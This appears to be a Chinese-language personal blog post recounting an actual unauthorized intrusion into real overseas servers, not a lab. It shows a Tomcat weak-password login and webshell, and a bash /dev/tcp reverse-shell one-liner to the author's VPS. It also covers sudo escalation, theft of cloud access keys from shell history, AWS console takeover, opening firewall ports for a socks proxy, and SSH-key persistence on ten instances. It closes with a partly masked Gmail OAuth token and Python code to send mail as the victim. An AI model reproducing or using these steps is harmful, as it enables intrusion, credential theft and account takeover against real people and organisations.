本专栏是笔者的网络安全学习笔记,一面分享,同时作为笔记
文章目录
前文链接
- WAMP/DVWA/sqli-labs 搭建
- burpsuite工具抓包及Intruder暴力破解的使用
- 目录扫描,请求重发,漏洞扫描等工具的使用
- 网站信息收集及nmap的下载使用
- SQL注入(1)------了解成因和手工注入方法
- SQL注入(2)------各种注入
- SQL注入(3)------SQLMAP
- SQL注入(4)------实战SQL注入拿webshell
- Vulnhub靶机渗透之Me and My Girlfriend
- XSS漏洞
- 文件上传漏洞
- 文件上传绕过
- 文件包含漏洞
- Vulnhub靶机渗透之zico2
- 命令执行漏洞
- 逻辑漏洞(越权访问和支付漏洞)
- 网站后台安全
- weevely的使用及免杀(Linux中的菜刀)
- MSF(1)------一次完整的渗透流程
- WebShell命令执行限制(解决方案)
- 记一次艰难的SQL注入(过安全狗)
- MSF(2)------各种木马的生成及简单的免杀
- MSF(3)------apk和exe的加马(过360、火绒)
- 通过Frp解决实现内网穿透
- 改造冰蝎马,实现免杀之default_aes php
- 使用FofaSpider和Python联动批量挖洞
- 记一次简单的对盗号网站的渗透
- 记一次幸运的漏洞挖掘
前言
前段时间在Fofa上爬了一堆外国的IP打nday。当时打到了一个Tomcat的美国服务器的弱口令,在上面部署了war包后就去忙别的事了。最近恰好在打hvv,每天盯着态感上十分的安静,连正常业务都没有,再加上懂的都懂的原因,不好去挖什么地方的src。因此重新把之前的马拿出来,仔细研究了一番,发现了很多可以利用的点。其中一些东西还是有学习价值的,刚好很久没有写博客了,这段时间也学了很多东西。遂成此文。
由于全都是真实环境,因此敏感信息全部厚码处理。请遵守法律和行政法规,造成的任何不良后果与本文无关。
从外网到Root
首先访问目标URL,发现是一个Tomcat的登录界面。
使用弱口令 tomcat /secret 成功登录manager,上传war包后用godzilla连接,成功获取webshell。
在shell中执行指令,得知当前用户为root
这边其实我是改了权限的。最开始连接上时只是个ec2-user的权限,这就是当时我不去深入的原因。这里我另找了一台服务器,演示我当时是如何提权的。
提权
这其实是个很简单的方法,但是在实战中成功率还蛮高的。
首先拿到一个webshell,为低权限用户。
使用指令反弹得到交互shell,这个反弹指令适用于一些常规bash用不了的情况。
bash
bash -c 'exec 5<>/dev/tcp/IP/PORT;script -qc /bin/bash /dev/null <&5 >&5 2>&5'
在VPS得到回连后,直接用sudo su
尝试提到root。很多时候低权限用户没有密码或者权限配置错误,就可以直接跳到高权限用户。如图
在实际渗透时,可以先试试这个方法,说不定就提上了。
之后通过写入ssh公钥成功连接ssh。

后渗透
拿下root后进行常规信息收集,这里建议查看 .bash_history ,其中很可能潜藏敏感信息。主要路径就是 /root/.bash_history 和 /home/<user>/.bash_history,视具体情况而定。
在这里,我查看了 /home/ec2-user/.bash_history

在history中,看到了如下内容:

啊!这难道?金色传说!
使用dark-kingA 的云资产管理工具,直接通过KEYID和ACCESSKEY添加存储桶。
得到9个存储桶。
在云服务工具中添加资产。
之后通过工具接管云控制台,得到一个URL。
把此URL复制到浏览器打开,成功拿下云控制台。
byd还挺有钱。
开端口
在控制台中找到EC2 ,点击实例,看到当前有10个实例。
由于我用microsocks在最开始控制的服务器上搭建了端口为1080的socks5服务端,因此在这里给端口放行一下。
找到我建立服务的实例,点击,选择安全 ,并进入安全组策略。
在入站规则中添加1080端口,这里可以给IP做限制,但我没做。
成功开放1080端口,用ncat测试,可以正常连接。
上服
继续看别的实例。
例如我们要想控制第二个openvpn的实例,怎么办呢?你去问AI,AI会给你提供一堆方法,这些方法不仅会影响正常业务,而且用不了。如果你也像我一样是高权限用户,可以直接这样做。
选中实例,在右上角点击连接。
然后直接用root用户连接。如果root不行,就用默认的ec2-user连接,再去用我之前说的方法提权就好了。
成功获得root shell。
通过写公钥来连接ssh。
写公钥
首先找到自己的公钥内容,不知道怎么找的去百度。Windows一般在
C:/Users/<用户名>/.ssh/id_rsa.pub
中。
使用base64加密公钥。
然后在控制台中用如下命令写入authorized_keys文件中
bash
echo <加密后的内容> | base64 -d >> /root/.ssh/authorized_keys

成功写入后用ssh连接。
以此类推,得到十个ssh。
信息收集
对这10台服务器进行信息收集。
接管Gmail
在机器PFNZ-AI-Machine-1中,发现了如下内容:
{
"token": "xxxxogN-NVC_wYqzDYc-NvwDnRLxClgmaZNeXtXS0QjRcHcHDjpgJoaCgYKAVMSARYSFQHGX2MiwWU4f1Jxa0qD_6DeX6d_Og0178",
"refresh_token": "xxxx7necT5zXEo_ybpkyesyZlBYhrL6w6h_2qg",
"token_uri": "https://oauth2.googleapis.com/token",
"client_id": "xxo66d9rorj1vajqtha9.apps.googleusercontent.com",
"client_secret": "xxxxxZDKIA",
"scopes": ["https://www.googleapis.com/auth/gmail.modify"],
"universe_domain": "googleapis.com",
"account": "",
"expiry": "2025-07-21T08:00:04.516393Z"
}
通过这些信息,可以直接接管Gmail。
例如通过此Python程序发送邮件。
python
import base64
from email.mime.text import MIMEText
from google.auth.transport.requests import Request
from google.oauth2.credentials import Credentials
from googleapiclient.discovery import build
token_info = {
"token": "",
"refresh_token": "",
"token_uri": "https://oauth2.googleapis.com/token",
"client_id": "",
"client_secret": "",
"scopes": ["https://www.googleapis.com/auth/gmail.modify"]
}
# ✅ 创建 Credentials 对象
creds = Credentials.from_authorized_user_info(info=token_info)
# ✅ 如果 token 过期,自动刷新(需 refresh_token)
if creds.expired and creds.refresh_token:
creds.refresh(Request())
# ✅ 构造 Gmail API 服务
service = build('gmail', 'v1', credentials=creds)
# ✅ 构造邮件
def create_message(sender, to, subject, message_text):
message = MIMEText(message_text, 'plain')
message['to'] = to
message['from'] = sender
message['subject'] = subject
raw = base64.urlsafe_b64encode(message.as_bytes()).decode()
return {'raw': raw}
# ✅ 发送邮件
def send_message(service, user_id, message):
sent = service.users().messages().send(userId=user_id, body=message).execute()
print(f"✅ Message sent! ID: {sent['id']}")
# ✅ 主程序
if __name__ == '__main__':
msg = create_message('me', 目标邮箱, 'Hello', 'hello')
send_message(service, 'me', msg)
成功接收到邮件。
结语
后续如果再打出有用的东西再回来更新